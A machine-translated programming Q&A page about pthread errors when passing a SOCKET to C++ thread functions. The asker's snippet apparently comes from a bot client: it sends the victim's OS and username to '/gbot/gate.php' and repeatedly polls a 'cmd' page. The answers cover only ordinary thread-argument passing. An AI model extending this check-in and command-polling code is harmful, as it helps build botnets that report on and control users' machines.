c++多线程错误和SOCKET
c++ multithreading errors and SOCKET
void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "rnrn";
}
else
mybuf += "linuxrnrn";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmdrnrn");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
这是我项目中的一段代码。我想做多线程,但我得到了一堆错误。首先,void*函数必须得到一个void*参数,所以我可以通过发送SOCKET吗?另一个错误是:
初始化int pthread_create(pthread_t*)的参数3pthread_attr_t_ *常量*,void * ()(空白), void *)
我不知道如何修复它,谢谢你的帮助。
当你实现多线程时,请确保在不同的套接字上发送和接收!也就是说,传递void*参数的最佳方式是一个结构,但我相信你可以在void*中发送不同的数据类型,只是要确保对它进行切片
的例子:
void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);
和sendfirststreq()中,对参数进行切片(套接字*)参数;
传递参数给pthread如果将套接字部分和多线程部分分开会有所帮助,这样您就可以分别处理它们。多线程的问题是,对于POSIX线程,必须使用函数接受并返回一个void指针。有两种方法可以让其他东西通过它。第一种方法是分配一个结构体,并将指向它的指针传递给pthread_create:
void* thread_function(void* p)
{
mydata* ps = static_cast<mydata*>(p);
...
}
mydata s = ...;
pthread_create(..., thread_function, &s);
这里要注意的是s
有一个作用域,并且必须确保在线程使用它时它保持活动状态。这可能需要使用new进行动态分配,这反过来又需要小心,以免导致内存泄漏。另一种适用于小整数的方法是将它们直接作为指针传递:
void* thread_function(void* p)
{
int x = reinterpret_cast<int>(p);
...
}
int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));
由于SOCKET只是一个小于指针的整数,因此您应该能够这样做,这可能是最简单的工作方式。
相关文章:
- 警告处理为错误这里有什么问题
- "error: no matching function for call to"构造函数错误
- boost::进程间消息队列引发错误
- C++,OpenCV,尝试显示图像时"OpenCV(4.3.0) Error: Assertion failed (size.width>0 && size.height>0)"此错误
- 有关插入适配器的错误。[错误]请求从 'back_insert_iterator<vector<>>' 类型转换为非标量类型
- QT在错误的班级中寻找空位
- vector.resize()中的分配错误
- 代码在main()中运行,但在函数中出现错误
- socket.io client std :: bind-错误C2338:元组索引限制
- 在我的代码中出现这个"10038 wsa socket"错误
- 其中是::accept from socket.h的错误号
- 编译比特币源代码时出现SOCKET错误
- 调用 boost::asio::tcp::socket 方法后async_read处理程序在服务器中返回错误
- 当所有 Windows 应用尝试使用 TCP 套接字时,我的应用导致错误 - 收到"operation on a socket could not be performed because..." (
- 初始化错误无法打开socket - c++文件上传
- c++多线程错误和SOCKET
- 在Amazon EC2上的socket.h中的编译器错误
- c++中socket编程中的Select()总是给出时间错误
- socket()和sendto()在没有互联网连接时不会返回错误代码
- 客户端断开连接时,TCP Socket选择服务器分段错误